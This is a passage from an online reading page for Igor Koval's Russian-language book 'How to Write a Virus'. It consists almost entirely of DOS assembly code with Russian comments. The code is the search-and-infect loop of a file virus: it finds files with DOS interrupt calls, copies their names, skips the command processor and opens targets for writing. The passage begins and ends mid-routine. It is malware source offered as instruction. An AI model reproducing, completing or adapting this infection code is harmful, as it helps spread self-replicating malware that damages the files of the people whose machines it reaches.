"Игорь Коваль. Как написать вирус" - читать интересную книгу автора inc di
loop cs:save_dta find_first: ;Найдем первый mov ah,4eh ;файл ... mov cx,00100111b lea dx,maska int 21h jnc cs:retry_2 jmp restore_dta find_next: mov ah,3eh ;Закроем непод- int 21h ;ходящий файл jnc cs:retry_1 jmp cs:restore_dta retry_1: mov ah,4fh ;Найдем следую- int 21h ;щий ... jnc cs:retry_2 jmp cs:restore_dta retry_2: mov cx,12 ;Сотрем старое lea si,fn ;имя в буфере destroy_name: mov byte ptr [si],0 loop cs:destroy_name xor si,si ;И запишем туда mov di,bp ;новое ... copy_name: mov al,byte ptr es:[di+1eh] cmp al,0 je cs:check_command mov byte ptr fn[si],al inc si inc di jmp cs:copy_name check_command: ;Проверим, не ;является - ли call cs:search ;файл командным cmp inside,1 ;процессором... je cs:retry_1 mov ax,3d02h ;Откроем этот lea dx,fn ;файл ... int 21h jnc cs:save_bytes jmp cs:restore_dta |
|
|